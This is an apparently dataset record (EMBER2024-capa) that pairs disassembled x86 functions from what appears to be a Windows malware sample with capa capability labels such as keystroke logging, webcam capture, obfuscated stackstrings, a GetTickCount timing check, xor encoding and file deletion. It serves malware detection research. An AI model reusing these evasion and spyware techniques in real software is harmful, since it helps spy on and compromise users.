joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d3c8
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x4ade78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [0x4af2c0]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov esi, 0x15
idiv esi
mov dword [ebp - 0x14], 0
cmp edx, 5
jne 0x41c920
movsd xmm3, qword [0x4919d0]
movsd xmm6, qword [0x4919d8]
movsd xmm5, qword [0x4919c8]
movd xmm4, ecx
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
lea esp, [esp]
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x41c90a
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x41c8f0
mov eax, dword [0x4adbb8]
mov ecx, 0x4adbb8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [0x4af2c0]
mov dword [ebp - 4], 0
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0xe
idiv ecx
cmp edx, 0xd
jne 0x41c978
mov eax, 0xef
mov esi, 0x1b
lea ecx, [ecx]
test esi, esi
je 0x41c971
cdq
idiv esi
mov ecx, esi
mov eax, ecx
mov esi, edx
test ecx, ecx
jne 0x41c960
add eax, esi
mov dword [0x4af2c0], eax
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push dword [eax]
lea eax, [ebp - 0x10]
push str._s_d
push eax
call fcn.00404500
mov esi, dword [0x4af2c0]
mov eax, esi
imul eax, esi
cdq
mov ecx, 0xb
idiv ecx
add esp, 0x10
cmp edx, 8
jne 0x41ca33
xor edx, edx
nop
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, esi
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
inc edx
add esi, eax
cmp edx, 0x100
jl 0x41c9b0
mov dword [0x4af2c0], esi
mov esi, dword [ebp - 0x10]
add esi, 0xfffffff0
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
mov ecx, eax
jl 0x41ca5c
cmp ecx, dword [esi]
jne 0x41ca5c
mov edi, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x41ca8c
mov eax, dword [ecx]
push 1
push dword [esi + 4]
call dword [eax]
mov edi, eax
test edi, edi
jne 0x41ca70
call fcn.00408840
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov ecx, dword [esi + 4]
inc ecx
push ecx
lea eax, [esi + 0x10]
push eax
push ecx
lea eax, [edi + 0x10]
push eax
call fcn.00462094
add esp, 0x10
lea eax, [edi + 0x10]
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
mov dword [edi], eax
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41cab2
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41e280
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d601
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4ade78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov ebx, dword [ebp + 8]
push str.verifier
mov ecx, ebx
mov dword [ebp - 4], 0
call fcn.00401b30
mov eax, dword [0x4af2c0]
imul eax, eax
cdq
mov ecx, 0x11
idiv ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
cmp edx, 7
jne 0x41e311
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
xor edx, edx
mov ecx, 0x463b2ede
div ecx
mov esi, edx
jmp 0x41e300
call edi
mov ecx, eax
mov eax, esi
xor edx, edx
div ecx
lea esi, [edx - 1]
test esi, esi
jg 0x41e300
lea eax, [ebp - 0x14]
push eax
call fcn.00454db0
add esp, 4
mov eax, dword [eax]
mov ecx, ebx
push dword [eax - 0xc]
mov dword [ebp - 4], 1
push eax
call fcn.004035a0
mov esi, dword [ebp - 0x14]
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41e352
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420ac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push esi
mov eax, dword [esi]
call dword [eax + 4]
mov eax, dword [ebp + 8]
mov dword [eax + 0x18], esi
mov ecx, dword [0x4af2c0]
mov eax, ecx
imul eax, ecx
cdq
mov esi, 7
idiv esi
cmp edx, 6
jne 0x420b74
xor esi, esi
mov edx, esi
and edx, 1
dec edx
not edx
and edx, ecx
mov eax, esi
sar eax, 1
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
inc esi
add ecx, eax
cmp esi, 0x100
jl 0x420af1
mov dword [0x4af2c0], ecx
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x420c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0x52435f5f
mov dword [ebp - 0x24], 0x4146405f
mov dword [ebp - 0x20], 0x44454c49
mov dword [ebp - 0x1c], 0x574f445f
mov dword [ebp - 0x18], 0x414f4c4e
mov dword [ebp - 0x14], 0x45525f44
mov dword [ebp - 0x10], 0x5f404441
mov dword [ebp - 0xc], 0x5f5f5243
mov byte [ebp - 8], 0
call fcn.00420d50
test al, al
jne 0x420cd0
push esi
mov esi, dword [0x4af2c0]
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x64
sub esi, eax
xor ecx, ecx
lea eax, [esi + 0x7b]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004601e0
push eax
call fcn.0046208f
add esp, 8
pop esi
lea eax, [ebp - 0x28]
push eax
mov ecx, edi
call fcn.00401b30
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.00461234
mov esp, ebp
pop ebp
ret
Function at 0x425630
Capabilities:
Get disk size

Disassembly:
push esi
mov esi, dword [0x4af2c0]
push edi
lea edx, [esi + 1]
lea eax, [esi + 2]
imul eax, edx
imul eax, esi
mov edi, ecx
cdq
mov ecx, 0x12
idiv ecx
cmp edx, 0x11
jne 0x425663
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov ecx, dword [edi + 0x24]
xor eax, eax
cmp dword [ecx - 0xc], eax
pop edi
setne al
pop esi
ret

Function at 0x425ce0
Capabilities:
Capture webcam image

Disassembly:
push esi
push 0
mov esi, ecx
call fcn.00425300
push eax
push 0x419
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x425d02
xor eax, eax
pop esi
ret
push 0
push eax
push 0x416
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_SendMessageA]
neg eax
sbb eax, eax
neg eax
pop esi
ret

Function at 0x426260
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47c158
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x4ade78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.00425620
mov ecx, edi
test eax, eax
jne 0x4262ba
push 0x490f70
push dword [ebp + 0xc]
lea eax, [ebp + 0x10]
push dword [ebp + 8]
push eax
call fcn.00423040
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00424540
mov ecx, eax
call fcn.00425680
test eax, eax
je 0x42634b
call fcn.004270b0
test al, al
jne 0x4262df
dec dword [0x4afdd8]
mov ecx, edi
call fcn.00424540
mov ecx, eax
call fcn.00425380
mov edx, dword [edi + 0x28]
mov ecx, dword [edi + 0x2c]
sub ecx, edx
sar ecx, 2
xor esi, esi
mov ebx, eax
test ecx, ecx
je 0x42638f
mov ecx, dword [edx + esi*4]
call fcn.004244f0
mov dword [ebp + 0xc], eax
call fcn.00427200
test al, al
jne 0x426328
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x426339
push ebx
push ebx
push ebx
mov ecx, eax
call fcn.004269d0
mov edx, dword [edi + 0x28]
mov eax, dword [edi + 0x2c]
sub eax, edx
inc esi
sar eax, 2
cmp esi, eax
jb 0x426304
jmp 0x42638f
push str.button_server_set_icon
lea ecx, [ebp + 0xc]
call fcn.00401b30
lea eax, [ebp + 0xc]
push eax
mov dword [ebp - 4], 0
call fcn.0041f670
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42638f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x426430
Capabilities:
Find taskbar
Get disk size
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x4af2c0]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov ecx, 9
idiv ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp edx, 4
jne 0x426474
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
cmp esi, edi
je 0x42662e
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call ebx
test eax, eax
jne 0x42662e
test esi, esi
jne 0x4264a7
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xfc], 0
call fcn.00426e80
test al, al
jne 0x4264e2
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0xf8]
push eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call esi
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0xfc]
push eax
push edi
call esi
mov esi, dword [ebp - 0x100]
push 1
push eax
push esi
mov dword [ebp - 0x104], eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
push edi
call ebx
test eax, eax
jne 0x426532
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00461234
mov esp, ebp
pop ebp
ret 4
push 0
push dword [ebp - 0x104]
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [0x4af2c0]
mov esi, 0x14
lea eax, [ecx + 1]
imul eax, ecx
cdq
idiv esi
cmp edx, 5
jne 0x42662e
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x104], eax
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x100], eax
mov eax, ecx
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x108], eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x118], eax
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x114], eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c], eax
mov eax, ecx
cdq
and edx, 7
xor ebx, ebx
add eax, edx
sar eax, 3
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0x110], eax
lea esi, [ebp - 0xf3]
jmp 0x426600
mov edi, 1
mov dword [ebp - 0xfc], 5
nop
add esi, 8
inc edi
dec dword [ebp - 0xfc]
jne 0x426610
mov ebx, dword [ebp - 0xf8]
inc ebx
mov dword [ebp - 0xf8], ebx
cmp ebx, 6
jl 0x426600
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00461234
mov esp, ebp
pop ebp
ret 4
Function at 0x426780
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xd224
call fcn.00462c30
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x4267a8
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], eax
call fcn.004114c0
test al, al
jne 0x42682e
push edi
xor eax, eax
push 0xd21e
push eax
mov word [ebp - 0xd224], ax
lea eax, [ebp - 0xd222]
push eax
call fcn.00462e00
add esp, 0xc
xor edi, edi
xor esi, esi
lea ebx, [ebx]
xor eax, eax
test edi, edi
je 0x42680a
test eax, eax
je 0x42680a
lea ecx, [esi + eax]
lea edx, [ebp - 0xd224]
lea edx, [edx + ecx*2]
lea ecx, [esi + eax]
mov cx, word [ebp + ecx*2 - 0xd36c]
inc cx
add cx, word [edx - 2]
mov word [edx], cx
inc eax
cmp eax, 0xa4
jl 0x4267e2
add esi, 0xa4
inc edi
cmp esi, 0x6910
jl 0x4267e0
movsx esi, word [ebp - 6]
mov dword [0x4af2c0], esi
pop edi
jmp 0x426834
mov esi, dword [0x4af2c0]
lea ecx, [esi + 1]
lea eax, [esi + 2]
imul eax, ecx
imul eax, esi
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 3
jne 0x4268d6
xor edx, edx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, esi
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
inc edx
add esi, eax
cmp edx, 0x100
jl 0x426853
mov dword [0x4af2c0], esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00461234
mov esp, ebp
pop ebp
ret 4

Function at 0x427100
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [0x4af2c0]
mov eax, ecx
imul eax, ecx
push ebx
push esi
cdq
mov esi, 0xa
idiv esi
mov bl, 1
cmp edx, 8
jne 0x4271c8
lea edx, [ecx + 2]
lea eax, [ecx + 1]
imul eax, edx
imul eax, ecx
cdq
mov esi, 0xf
idiv esi
cmp edx, 5
jne 0x4271c3
xor esi, esi
nop
mov edx, esi
and edx, 1
dec edx
not edx
and edx, ecx
mov eax, esi
sar eax, 1
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
mov edx, eax
and edx, 1
dec edx
sar eax, 1
not edx
and edx, ecx
xor edx, eax
mov eax, edx
and eax, 1
dec eax
not eax
and eax, ecx
sar edx, 1
xor eax, edx
inc esi
add ecx, eax
cmp esi, 0x100
jl 0x427140
mov dword [0x4af2c0], ecx
pop esi
xor al, al
pop ebx
ret
pop esi
mov al, bl
pop ebx
ret
Function at 0x4283a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47e616
mov eax, dword fs:[0]
push eax
sub esp, 0x290
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x298], ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x294], edi
call fcn.0045b1f0
test al, al
je 0x42853d
call fcn.00429070
test al, al
jne 0x428402
lea eax, [ebp - 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
cmp dword [ebx + 0x2c], 1
jne 0x42853d
mov edx, dword [0x4af2c0]
mov dword [ebp - 0x29c], 0
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x11
idiv ecx
cmp edx, 3
jne 0x42843f
call fcn.00461e71
mov dword [0x4af2c0], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 0x30], eax
call fcn.00429110
test al, al
jne 0x428476
mov ebx, dword [0x4af2c0]
xor ecx, ecx
mov edi, ebx
inc ecx
dec edi
cmp ecx, 0x75
jb 0x428463
mov ebx, dword [ebp - 0x298]
mov edi, dword [ebp - 0x294]
mov eax, dword [ebx + 0x2c]
add eax, 0x10
lea esi, [ebx + 0x18]
lea eax, [ebx + eax*4]
push eax
mov ecx, esi
call fcn.00402970
push 0x4918d4
lea eax, [ebx + 0x24]
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.00402d20
push esi
push eax
lea eax, [ebp - 0x294]
push eax
mov dword [ebp - 4], 0
call fcn.00402c60
add esp, 0x18
lea ecx, [ebx + 0x28]
push eax
mov byte [ebp - 4], 1
call fcn.00402970
mov edx, dword [ebp - 0x294]
add edx, 0xfffffff0
or esi, 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4284ea
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x298]
add edx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x42850e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebx + 0x28]
push eax
mov ecx, ebx
call fcn.004289c0
lea eax, [ebp - 0x29c]
push eax
push 0
push ebx
push 0x429040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x42853d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00461234
mov esp, ebp
pop ebp
ret 8
Function at 0x4289c0
Capabilities:
Check if file exists
Create directory
Move file

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4b00a0], 0
jne 0x4289e4
mov eax, dword [ecx + 0x20]
cmp dword [eax - 0xc], 0
je 0x4289e4
mov dword [0x4b00a0], 1
call fcn.00428600
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push eax
push eax
call fcn.00463c12
add esp, 8
test eax, eax
jns 0x428a12
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x428a08
cmp eax, 3
jne 0x428a12
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop esi
pop ebp
ret 4
Function at 0x428c10
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47e6a8
mov eax, dword fs:[0]
push eax
sub esp, 0x34c
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
call fcn.004290e0
test al, al
jne 0x428c5e
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov ecx, dword [0x4af2c0]
mov eax, ecx
imul eax, ecx
cdq
mov esi, 5
idiv esi
cmp edx, 2
jne 0x428cd0
movsd xmm3, qword [0x4919d0]
movsd xmm6, qword [0x4919d8]
movsd xmm5, qword [0x4919c8]
movd xmm4, ecx
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
lea esp, [esp]
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x428cba
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x428ca0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00463920
push 0x491810
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00463baf
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00463920
push 0x4918d4
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00463baf
add esp, 0x30
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x428db8
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00463920
add esp, 0xc
call fcn.00429130
test al, al
jne 0x428d92
mov esi, dword [0x4af2c0]
mov ecx, 1
cmp esi, ecx
jle 0x428d8c
mov edi, edi
mov eax, esi
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, esi
jl 0x428d80
mov dword [0x4af2c0], ecx
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x358]
push eax
push edi
call esi
test eax, eax
jne 0x428d98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
cmp eax, 0x12
je 0x428dfe
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
mov esi, dword [ebp + 8]
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x428dde
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00461234
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
cmp eax, 1
sete bl
jmp 0x428dba
Function at 0x43c4b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov eax, dword [0x4ade78]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
push ebx
push esi
mov esi, dword [0x4b0c18]
push 0xf0
push eax
push esi
mov dword [ebp - 0x8c], ecx
mov ebx, 1
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x43c68b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x43c68b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x43c68b
mov edx, 0x1234
push edi
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x43c676
mov ecx, dword [esi + 4]
mov edi, eax
movzx eax, word [esi + 2]
mov dword [ebp - 0x90], ecx
mov ecx, 0x403
add esi, 8
mov dword [ebp - 0x94], edi
cmp cx, ax
jne 0x43c5f4
lea eax, [ebp - 0x84]
mov dword [ebp - 0x88], eax
test esi, esi
jne 0x43c564
xor eax, eax
mov dword [ebp - 0x88], eax
jmp 0x43c5b6
mov edi, esi
lea ecx, [edi + 1]
lea esp, [esp]
mov al, byte [edi]
inc edi
test al, al
jne 0x43c570
push 0x80
sub edi, ecx
lea eax, [ebp - 0x84]
push eax
inc edi
lea eax, [ebp - 0x88]
push edi
push eax
call fcn.00412680
push edi
push esi
push edi
push dword [ebp - 0x88]
call fcn.00462094
push eax
call fcn.004036b0
mov eax, dword [ebp - 0x88]
mov edi, dword [ebp - 0x94]
add esp, 0x24
push eax
push 0
movzx eax, di
push 0x143
push eax
mov eax, dword [ebp - 0x8c]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x88]
cmove ebx, ecx
lea ecx, [ebp - 0x84]
cmp eax, ecx
je 0x43c663
push eax
call fcn.00461ea4
add esp, 4
jmp 0x43c663
cmp dx, ax
jne 0x43c668
push esi
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xb4], 0xffffffff
call fcn.004129b0
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x84]
cmp eax, ecx
je 0x43c63a
push eax
call fcn.00461ea4
add esp, 4
lea eax, [ebp - 0xb8]
push eax
push 0
movzx eax, di
push 0x401
push eax
mov eax, dword [ebp - 0x8c]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
xor ecx, ecx
cmp eax, 0xffffffff
cmove ebx, ecx
mov edx, 0x1234
add esi, dword [ebp - 0x90]
test ebx, ebx
jne 0x43c516
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00461234
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00461234
mov esp, ebp
pop ebp
ret 4